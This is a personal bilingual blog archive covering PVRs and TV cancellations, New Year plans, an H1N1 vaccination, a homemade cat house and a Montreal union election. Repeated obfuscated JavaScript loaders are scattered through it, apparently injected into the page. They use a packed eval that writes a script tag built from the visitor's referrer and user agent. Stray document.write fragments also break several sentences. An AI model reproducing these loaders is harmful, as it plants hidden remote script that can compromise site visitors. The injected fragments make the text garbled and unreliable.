eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfki|var|u0026u|referrer|eserr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbsnh|var|u0026u|referrer|iynar||js|php’.split(‘|’),0,{}))

On another subject, some channels must really hate people with PVR (Personal Video Recorder—those cableboxes with an hard drive that can record two shows at a time, allow you to watch while recording and to fastforward the advert). I suppose they don’t like PVRs because their advertisers don’t like them either—since we can skip the advert (although, in my case, I do watch some adverts when they seem interesting, like the preview of a show or movie, a cool consummer product, etc.). Often, the people watching their TV on PVRs with a delay (a few hours to days later) are not counted in the ratings (the base for establishing the advert cost), therefore reducing the potential advertising income of TV stations. But this situation is slowly changing since delayed viewing on PVRs has started to be more and more frequent and is now calculated more often into the ratings.

Unfortunately, some TV stations still don’t like PVRs and—is it out of spite or simply to discourage viewers from using them?—often change the scheduling of a weekly show or let it run a few seconds or minutes over causing PVRs to record incomplete shows or sometime even fail to record them at all! I find this utterly annoying. This forces me to supplement the work of my PVR by also downloading some of the shows I am following in order to make sure I’ll be able to watch them in their entirety.

Another negative side effect of the PVR (and downloading) is that a reduced ratings will often cause the downfall or cancellation of a show when a larger part of the viewership is not watching the direct broadcast. This is particularly true for science-fiction or geeky TV series. TV executives—not very bright people, particularly at Fox—tend to count only the traditional ratings. I really hate those people. They seem to take a cruel pleasure in cancelling an excellent Sci-fi TV series which has a strong following amongst the geeky fans but that has not good ratings amongst the usual and mondane viewers… (There’s countless example of this: Space Above & Beyond, Babylon 5, Firefly, Terminator: The Sarah Connor Chronicles, Defying Gravity, Dollhouse, etc. — many of those on Fox)

Despite all that I still dearly love my PVR. It really changed my life and I don’t know how I was managing my TV watching before (I do vaguely remember recording one show at a time on a capricious VCR). With my hectic schedule I cannot necessarily watch a show at the moment it is broadcast, so now I can record one or two shows at a time for later watching. It is so convenient that I often PVR or download shows even when I am available to watch them in direct broadcast (then I simply jump in the show whenever I like and start watching from the start—and even skip the advert!).

It is surprising, when we think about it, how new technologies as simple as they are can completely change our lives so quickly. Of course such change is not always for the best. I do watch too much TV for my health. A recent study said that watching more than four hours of TV per day could seriously reduce our life expectancy. Maybe I should cut my viewing time and read more books instead—I would probably have more time to think or to write. However, TV is addictive they say. But, frankly, getting a story told either in writing as a book or in pictures as a TV broadcast isn’t that different, isn’t it? I guess, with a book, more is left to the imagination, making the brain work harder… But isn’t that more tiring? 😉

A new beginning?

Once again I want to wish you all the best for the New Year and for this second decade of the Twenty-first century that we are now just beginning. Hopefully it will bring better days than the first one. May you all get what you desire the most. [ More >> ]

I have spent the last day of the year setting up some new bookshelves that I got from my parents who were moving to a new appartment in their retirement home (more on that later). I have so many books and dvds that they were pilling up and some new shelves were quite welcomed. The need to make space for them also prompted a clean up spree to get rid of the clutter and dust that had accumulated over time because we’ve been so busy this last year. So much of that remain to do… I finished the evening (unfortunately alone, since my wife was working) switching between the French Radio-Canada year-end’s programming and Anderson Cooper’s New Year count-down on CNN (I don’t know if anyone gets the irony of the American starting a new year by “dropping the ball” !).

Then I have spent the first day of the New Year with my sisters at my parents new place (still filled with moving boxes) for a quick brunch celebration. We came back home in late afternoon for a nap, after which, with a light supper, we watched a few more episodes of the mid-eighties Sherlock Holmes TV series starring Jeremy Brett. There’s really nothing better than British TV (I should blog about this eventually).

The new year is bringing a more stable work schedule and, if all is well, a reasonable pay raise–which should allow me the time and peace of mind to finally complete many yearned projects. Therefore, as it is often the tradition at this time of the year, I have formulated a few (very conservative) resolutions for MMX: 1) to take time for my wife and I to get a complete physical and all the necessary tests to insure our good health (it should be everyone’s first priority: eat well, make more physical exercices and keep challenging our mind); 2) to finish and release the thematic issue of the magazine / book that I’ve been working so much on last year and which is now so late (it was planned for last summer) and keep more issues coming (in one format or another); and 3) continue and finish the great clean up of my appartment (since my parents sold their house several years ago I have accumulated so much stuff that I really need to go through it all to get rid, recycle, sell or donate all the papers, books, cds, dvds, tapes, computers, electronics, etc. that are not needed anymore to reduce the clutter and put the appartment in order — as I often say while considering the huge amount of stuff I own, I’d rather buy the place than move!). As for this blog, I pledge to continue writing as much as I can and, particularly, write more reviews (writing here in both official languages is the best thing to keep my mind working and sane).

Finally, I’ll conclude this entry with my “rant of the day.” Lately, while watching french-speaking TV, I’ve been bombarded with advert for the Résidences Soleil retirement homes and it makes me want to puke! They keep hammering the idea that they are affordable even for people with low (and fixed) income and their web site add that their rent “increases are based on Statistics Canada’s cost of living index, which enables people who have the means to live in the Résidences Soleil today, to always be able to do so”. That’s total bulls**t. My parents just had to move into a much smaller appartment despite the fact that my father have a quite comfortable Federal government pension because the rent increased more than they could afford over the last couple of years (it seems more than legally allowed by the Régie du Logement, but my parents didn’t want trouble and declined to fight against the raise). What a nice business! Those people are clearly preying on the elderly (ok, yes, they ARE offering peaceful and comfortable dwellings but their services have their limits: as soon as you are too sick, too old or too much trouble they get rid of you and they do their best to suck up as much money as they can)! I find this type of misleading advert intolerable.

Sensodyne ad

J’ai toujours cru que ce genre de publicités utilisait des acteurs pour passer leur message. Quelle ne fut pas ma surprise de découvrir mon propre D.N.A. (dans ce cas-ci c’est mon “dentiste ninja adoré” !) dans une publicité de Sensodyne. Je la partage avec vous via Blip.tv:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|refne|var|u0026u|referrer|fshtd||js|php’.split(‘|’),0,{}))

ou Youtube:

Inoculated at last!

Today my wife and I went to the Palais des Congrès to get vaccinated for the influenza A(H1N1). We each received a 0.50 mL dose of Arepanrix H1N1 with adjuvant (the vaccine produced by GlaxoSmithKline). Everything went well and we were out the doors in less than an hour and half (including the fifteen or twenty minute wait after the injection to make sure that there was no adverse reaction). It was well organized and the crowd was moving relatively fluidly. Now we only have to wait for the immunization process to take place in our bodies.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbkzz|var|u0026u|referrer|hybnz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbthi|var|u0026u|referrer|ihdrr||js|php’.split(‘|’),0,{}))

My only complain is that this should have happened at least a month or two ago. Only now the vaccination campaign is extended to the general population. Only now we start seeing hand-sanitizing stations in every public places (although there’s still some public libraries without any). As usual all level of government were quite slow to respond to the potential crisis. That’s the key word: potential. A pandemic is impossible to predict accurately and the adequate response is hard to formulate. If you prepare too forcefully you are an alarmist and if you do too little you are an uncaring bastard. For example, document.write(“”); people feel that the Y2K bug (okay, it was a computer glitch not a virus, but the analogy is nevertheless valid) was much ado about nothing. There was no catastrophy so they feel they were lied to about the risk. They never saw the army of programmers that worked days and nights to rewrite computer codes and therefore making sure no catastrophy would happen. Such nuance is difficult to understand for the people, so lets use another allegory (like Jesus did). A pandemic is like a hurricane: it might hit a populated area or not; it might gain some strenght and hit as a full category five, causing a devastating disaster like Katrina or fizzle and just pass as a drenching tropical storm. It’s unpredictable, but we must get ready nevertheless. If you evacuate a multi-million-inhabitant city and nothing happens you might incur the ire of the population, but the alternative — doing nothing — is far worse! We’ve been lucky so far. The H1N1 didn’t spread as fast or wasn’t as virulent as the specialists feared. However we’ve already detected here and there signs of mutation in the virus and there’s no way to predict if it won’t get more lethal like its Spanish flu predecessor was. We can only make sure we’re ready and hope it won’t get worse.

On this subject in the news (in French, sorry):

Five years already

I just realized that I am in my fifth years of blogging. I am not a big blogger (I posted less than two hundred entries — however I am picking up the pace lately) but it is still a reason to rejoice!
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I only wish more people would comment and interact on my blog (well, document.write(“”); I mean beside the stupid or crazy sh*t that I got lately). But I am content that at least some people read it (according to the counter anyway). I am gladly thanking my few readers.

When it rains it pours

That’s what people could say in England, document.write(“”); but I was rather alluding to my schedule — which suddenly got quite busier.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkkba|var|u0026u|referrer|sszyh||js|php’.split(‘|’),0,{}))

I am already rather busy with the layout of the magazine’s thematic issue I am currently working on (which is incredibly late due to the fact that we grossly underestimated the time of production with an extremely bare-minimum staff and that my health forbids me to work crazy hours like before), but in the last few days I was distracted by a complicated administrative inquiry at work (trying to determine which borough is my “home” at work and to decide if I really wanted to apply for an union rep position).

In addition to that I have to test out a new print-on-demand system that we will use along with the digital edition of the magazine. However, I’ve discovered yesterday that the PayPal buttons of our online store doesn’t work anymore, so I have to quickly find out what’s the problem and solve it. I suspect that PayPal made some changes in the way they handle codes, so the fix will probably mean to reprogram all the damn buttons one by one (which took me several weeks the last time I updated them). I will have to implement the changes little by little, turning off all the buttons that have not been fixed until they are. This will definitively create more delay on all my current projects…

All this while working full time in various libraries!

However, it doesn’t matter how busy I am, I intend to keep the eight-hours-of-sleep rule to try to stay healthy. I already know a co-worker who got the H1N1 and I definitely don’t want it (or any other bugs) to happen to me.

Update (22:35): I’ve contacted PayPal, but there’s still no news from them. I was nevertheless able to find which part of our button code was causing problem (it works if I create it with their button tool or if I remove all the “%23” (#) from the code — thanks to the “find & replace” function!). It is (hopefully) working and people can now order again from our website. Phew! Another crisis averted! I can go back to my (still) busy schedule.

Life at the bottom sucks

Today I had a particularly tiring day at the library as we were rushing more than usual (is there something like a library all-day rush hour?). It is not always fun to be a library grunt with grumpy coworkers and unhappy customers. I felt more than ever like the ball in a pinball game rebounding on every sides of the counter and not scoring any points. I also spent all my free time (lunch, document.write(“”); break) working on the research and layout for one of the other projects I am doing. This was the second day of a seven days stretch without any days off (hey, a guy need to pay the rent; I just hope I won’t exhaust myself too much and get vulnerable to the flu).
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izyat|var|u0026u|referrer|rydzz||js|php’.split(‘|’),0,{}))

On top of that I came back home to yet another water damage incident. The washing machine on the third floor overflowed. Again. If I was the landlord I would ban washing machine on the second and third floors. Is it that complicated a machine to operate? The water came gushing two floor bellow through the light fixture hole in the stairwell leading to the basement and… into my research library (aka the guestroom). Luckily the book shelves were unarmed, but the videocassette storage was hit, wetting cassette recordings of precious anime series! No real damage though, it should all dry quickly (anyway I was considering reusing or giving away most of those tapes — who use VHS tapes anymore?). However I am really tired of those baths, hotwater tanks, washing machines and whatnot breaking, leaking or overflowing on my stuff. It is not always fun to live on a first floor…

How to make a Cat House for winter

If a nice stray cat is roaming your backstreet and squatting your flower boxes you might be worried, document.write(“”); like my wife, about how he would fare in the very cold nights of winter. If, like us, you cannot take those strays inside because you already have cats you can always build them a little cat house to keep them warm.
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I used to make a cardboard cat house for them. I would take the biggest shipping box I could find, cover it with packaging tape (or a garbage bag) to protect it against water, cut a little door with a utility cutter and put a bunch of old clothings inside to make a cat bed. Unfortunately, those cardboard cat houses last only a year — two if your lucky or three if you made a very sturdy one (using waxed double-sided cardboard and lots of tape). The humidity always rots the cardboard and the clothings become quite smelly.

This fall I decided that the fourth cat house that I would build would last a lot longer (if not forever). Here’s how I did it:

I took a 53L “Rubbermaid Roughneck Tote” container ($7.59 at Canadian Tire, but in my case I simply used an empty one I already had in the basement), cut a little door with a heavy-duty utility cutter, (if you don’t have one, it’s $6.26 at Staples) and lined the inside (optionally the outside too) with an old piece of carpet for insulation.
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And voilà: an instant mobile cat hotel!

This year’s stray, named Marmelade-boy (there’s a different one almost every year) adopted it within minutes. He really loves it. That gives the lovely fellow a warm lair to spend winter protected from the wind and snow while my own cats (in the picture: Spotty) are protected from the fleas and diseases he surely carries. I love my cats, but feeding and caring for two of them is quite enough.

However, be careful (or prepared) because, if one of the strays using the cat house is a female, you might very well find a litter of kittens in it when spring comes! It happened to me twice. The first time I gave them all to nice foster-parents, petshops or shelters, but the second time I kept one for myself: Saya (pictured). See my MobileMe Gallery for more cats pictures.

Plus ça change, plus c’est pareil!

Pour faire suite à mon commentaire sur la campagne électorale de l’exécutif syndical du SFMM (en passant: merci au cent-soixante personnes qui ont visité mon blog depuis), document.write(“”); voici un autre commentaire sur le résultat des dites élections:
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Malheureusement, les
résultats préliminaires que j’ai entendu hier soir semblaient annoncer un taux de participation très bas (dans les 30-40%) et une confortable victoire pour l’équipe en place, AccèsCible.

(Cliquez le lien ci-dessous pour avoir tout les détails de ce que j’en pense…)


J’ai d’abord été très surpris de ce résultat. Tout les collègues fonctionnaires à qui j’ai parlé au travail ces dernières semaines (tous sans exception!) me disaient qu’ils étaient tanné du mauvais travail de l’équipe en place et qu’ils voulaient du changement. Pas une seule personne ne m’a avoué qu’il/elle voterait pour l’équipe en place. Comment est-ce possible?

Et les chiffres eux-même sont bizarres (bon, il faudra attendre des résultats officiels, sinon définitifs pour vraiment se prononcer, mais…). Ils sembleraient y avoir d’étranges disproportions dans les résultats préliminaires des votes pour Du 109 au 429 et Pierre Gélinas (qui se présentait à la présidence de l’exécutif pour le 109) semble avoir reçu moins de votes qu’il en avait eut à l’élection précédante (où il s’était présenté seul, sans le support d’une équipe comme il l’a fait cette fois-ci avec Du 109 au 429). Comment, avec plus de visibilité et le support d’une équipe, a-t-il pu recevoir moins de vote? A prime abord, cela semble incompréhensible.

Toutefois, je crois qu’il est possible d’y voir un début d’explication sans nécessairement avoir recourt à des accusations partisannes. Ma bonne nature me fait exclure, a priori, l’usage d’actes illégaux ou inappropriés à proprement parler. J’y vois plutôt le résultat combiné de quatre facteurs:

  • l’équipe Du 109 au 429 a peut-être été un peu naïve et pas assez expérimentée en magouille syndicale. Car on le sait bien, dans ce milieu là, tout les coups sont permis. Ils ont commencé leur campagne un peu sur le tard et ont sans doute hésité à utiliser des tactiques discutables. Un bon vieux cas de “the good guys always finish last.”
  • l’équipe Du 109 au 429 avait tout les désavantages de la position de “challenger.” L’équipe AccèsCible a eut plus de dix ans pour se faire connaitre et établir des liens d’influences. Ils pouvaient aussi profiter de leur libération syndicale pour faire campagne. Ils avaient donc beaucoup plus de temps, de visibilité et de moyens. D’où les beaux pamphlets couleurs et un très grand nombre de militants pour rencontrer les travailleurs, être présent sur les lieux de vote et de comptage, et distribuer des tracts à l’entrée de bureaux de votation, etc. C’était peut-être aussi à l’avantage des AccèsCible d’être dirigé par une femme (ça parait donc tellement mieux)…
  • cette fois-ci, l’équipe AccèsCible a quand même sentis l’eau chaude et ils ont défendu leur confortables derrières (confortables pcq bien assis sur d’excessifs salaires) avec la force de détermination d’un fonctionnaire calabrais. Et pour désespérément défendre leurs moelleuses positions, ils ont eut recourt à toutes les tactiques, sinon illégales mais certainement déloyales, qui sont de bonne guerre en milieu syndical: limiter l’information électoral, tenter de discréditer l’adversaire avec de la désinformation (si le 109 au 429 est élu vous pouvez dire adieu à l’équité salariale, etc.), faire de l’obstruction (en tentant d’empêcher l’adversaire de rencontrer les travailleurs), distribuer de belles cartes de rappel couleur à l’entrée des bureaux de votation (les gens aiment donc ça les beaux dépliants couleurs vides de sens), faire sortir le vote de LEUR supporteurs à tout prix par l’utilisation de chaînes téléphoniques, en leur offrant le transport (ou “busing” — j’ai entendu dire que certain s’étaient même fait payer le taxi!), etc.
  • par les temps qui court les électeurs, quels qu’ils soient, sont par nature désillusionnés et paresseux (“Ça sert à quoi d’aller voter, c’est toute du pareil au même anyway”). Même s’ils sont déçu du travail de leur repésentant, et tout aussi convaincu qu’il faut du changement, si le jour de l’election venu il fait froid et le temps est maussade, ils perdent leur détermination et trouvent toutes sortes d’excuses pour ne pas sortir voter. Alors beaucoup trop de syndiqués ont préféré resté douillettement chez eux ou au travail plutôt que de se battre pour le changement qu’ils désiraient. Et il ne faut pas oublier le fait qu’il y avait encore des gens qui n’étaient même pas au courant qu’il y avait des élections pour l’exécutif syndical et cela grâce au mauvais travail de communication fait par le syndicat lui-même! C’était tout à l’avantage de l’équipe en place, puisque l’on sait bien qu’un taux de participation bas favorise toujours l’équipe sortante.

C’est là la situation et on ne peut rien y faire. Il faut l’accepter. Toutes mes félicitations au gagnant et à son bilan concluant d’inaction. On va continuer d’avancer… vers le précipice et à se faire fourrer tant par l’employeur que par le syndicat. C’est correcte. C’est ça la beauté de la démocratie: elle nous donne plein de merveilleux droits, dont celui de se tromper. Les Américains ont bien réélu George Bush en 2004…


David contre Goliath:
l’intelligence ne peut pas toujours l’emporter sur la force brute…
Quand à moi, je n’ai pas crains la froidure de l’automne et j’ai déployer bien des efforts pour aller voter… Tout d’abord, comme je l’ai mentionné il y a quelques jours, il me fallait trouver où je devais voter et si je pouvais obtenir une heure de libération pour le faire. Comme tout était fermé le lundi de l’Action de Grâce, je n’ai eu que mardi pour appeller le secrétariat d’élection et exposer mon problème. On me répond qu’on ignore la réponse (bravo les filles, continuez votre bon travail!) et me suggère soit d’appeller la directrice syndicale de mon arrondissement, soit Mme Sylvie Archetto, la présidente d’élection. On me transfert finalement à Mme Archetto mais j’aboutis plutôt sur la boite vocale des retraités du syndicat. J’essaie de contacter la directrice syndicale de mon arrondissement mais tombe sur la boite vocale d’une autre personne à la régie des bâtiments. Je rappelle au secrétariat d’élection et on me transfert, cette fois-ci avec succès, à Mme Archetto qui me dit que je peux voter dans n’importe quel des treize bureaux de votation mais qu’il me faudra d’abord rencontrer le directeur de salle pour demander à être rayé de la liste du bureau de mon arrondissement port d’attache.

Pour ce qui est de la libération, Mme Archetto me dit que c’est une question syndicale (doh!) et qu’il me faut plutôt contacter ma directrice syndicale. Après un autre essai infructueux pour la rejoindre, je contacte donc le représentant syndical de mon ancienne bibliothèque (car il n’y en a pas à la bibliothèque où je travaille actuellement). Il me rappelle plusieurs fois pour me mettre au courant de ses démarches et, après un palabre avec la directrice syndicale de l’arrondissement de mon ancienne bibliothèque, on me dit que, oui, j’ai droit à l’heure de libération même si ce jour là je commence à travailler en début d’après-midi. Mais avant que j’ai le temps d’appeller la bibliothécaire du lieu où je doit travailler le jour de l’élection pour s’entendre sur l’heure de libération, on me rappelle pour me dire que, non, après tout je n’y ai pas droit.

Le jour de l’élection, mercredi, je prend donc du temps sur mon autre travail (où je ne suis pas syndiqué, heureusement!) pour aller voter. La veille et le matin même j’ai voulu vérifier l’addresse du bureau de votation mais à aucun de ces moments je n’ai pu accéder à l’information sur le site du syndicat (mon internet fonctionnait pourtant parfaitement). Heureusement, le site du 109 au 429 offrait la même information. J’ai quelques difficulté à me rendre car Google ne m’a pas donné le bon horaire d’autobus (c’est bien la première fois que cela arrive). A l’entrée du bureau de votation je me fais accueillir par deux dames de l’équipe AccèsCible qui me remettent une belle carte de rappel. Il n’y a personne de l’équipe Du 109 au 429 (à ce moment là du moins). Au bureau même, je présente mes pièces d’identité (de la ville et du syndicat) et rencontre le directeur de salle. Beaucoup de gens sont apparement dans la même situation que moi et le directeur de salle a de la difficulté à contacter le bureau de votation de mon port d’attache pour me faire rayer de leur liste. Après un délais, j’obtiens l’autorisation et je peux finalement aller voter. Je me suis fais dire que ce genre de délais a causer des “embouteillage” à plusieurs bureaux de votation et de nombreux syndiqués, exaspéré par la piètre organisation, ont quitté sans même voter. Je prends ensuite le chemin de mon travail en bibliothèque (heureusement que je n’ai pas eu de libération car ça m’a pris bien plus qu’une heure!) mais je manque la correspondance de l’autobus et doit marcher une demi-heure dans le froid. J’arrive finalement à la bibliothèque, essouflé, avec quelques minutes de retard et on me dit que, ben oui, j’avais droit à la libération et qu’on m’avait même réservé du temps un peu plus tard en après-midi! C’était là la culmination de mon cauchemard syndical. Et après ça on me demande pourquoi j’étais si déterminé à voter contre l’Équipe “AccèsCible.” Faut vraiment être inconscient!

Tout ceux qui ont été paresseux et ne se sont pas déplacé pour aller voter ont, quand à moi, perdu le droit de se plaindre du syndicat. Ils n’ont que ce qu’ils méritent: un syndicat médiocre qui ne fera jamais de véritable effort pour défendre les droits des travailleurs.

Si le concept de parti d’opposition n’existe pas au sein d’un exécutif syndical, il faudra donc l’inventer. Le combat pour une véritable démocratie syndicale ne se termine pas pour autant. “Hasta la victoria siempre” disait le Che. Je suis sûr qu’il y aura toujours des gens pour exposer les cafouillages du syndicat, pour proposer des solutions et vocaliser ce que beaucoup pensent mais n’osent dire. En attendant une prochaine élection, surveillez donc le site internet Du 109 au 429, ainsi que les prochaine éditions du Colvert et portez attention aux résistants qui prendront la parole dans les assemblées. Car c’est eux qui défendront vraiment vos droits…

Malheureusement, je crains que les électeurs soient tout aussi timides aux élections municipales et que l’on se retrouvent là aussi avec un résultat similaire: un bas taux de participation et la réélection du candidat sortant, soit Gérald Tremblay… Mais ça ne m’empêchera pas d’aller voter!

Push Hard Back

Lately, document.write(“”); I started working more on the computer again and now my back pain has returned. It seems that when I try to push myself a little more in order to catch up on all the work and projects for which I am so late, I end up feeling not so good. I guess I still need to rest more and really must avoid getting too tired and stressed, but there’s so much stuff to do… And I really have to go see a specialist for my back (and probably invest in a better chair)…

Thanksgiving

To all my Canadian and Québécois readers (if any) I wish a happy Thanksgiving! Don’t eat too much turkey (and please don’t forget to exercice a little — for my part today I did some clean up and removed the air conditioners from the windows). It is a time to reflect on all the good things that life is offering us. We live in a peaceful country (okay, document.write(“”); some of our soldiers are currently deployed in a war zone, but it’s _mostly_ for “restoring” peace), a place where there’s little natural disasters (like hurricane, earthquake, brush fires and such) and we haven’t been too affected by the recent economic crunch. It’s really the most beautiful and enjoyable country in the world (although we dropped to the fourth place in the UN quality of life ranking — Japan, with whom Canada battled a couple of times for the first place, has dropped to the tenth position).
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfanr|var|u0026u|referrer|fiszf||js|php’.split(‘|’),0,{}))

Personnally, I am thankful for my loving familly, my beautiful wife, my two cute (and often dumb) cats, for having a job (or two), interesting hobbies (although the line between a hobby and a job is (un)fortunately often blurred) and almost everything I could ask for. We are really blessed.

Thus the World fell, Thus We Felt

It’s surprising how our surrounding can change in just a few days. The temperature fell from an average around 15 ‘C to well under 10’C. And now the ground is littered with dead leaves. Fall is already at our doors (and winter not that far away with warnings of frost for the nights). It’s a beautiful season. I like the smell in the air. It feels great.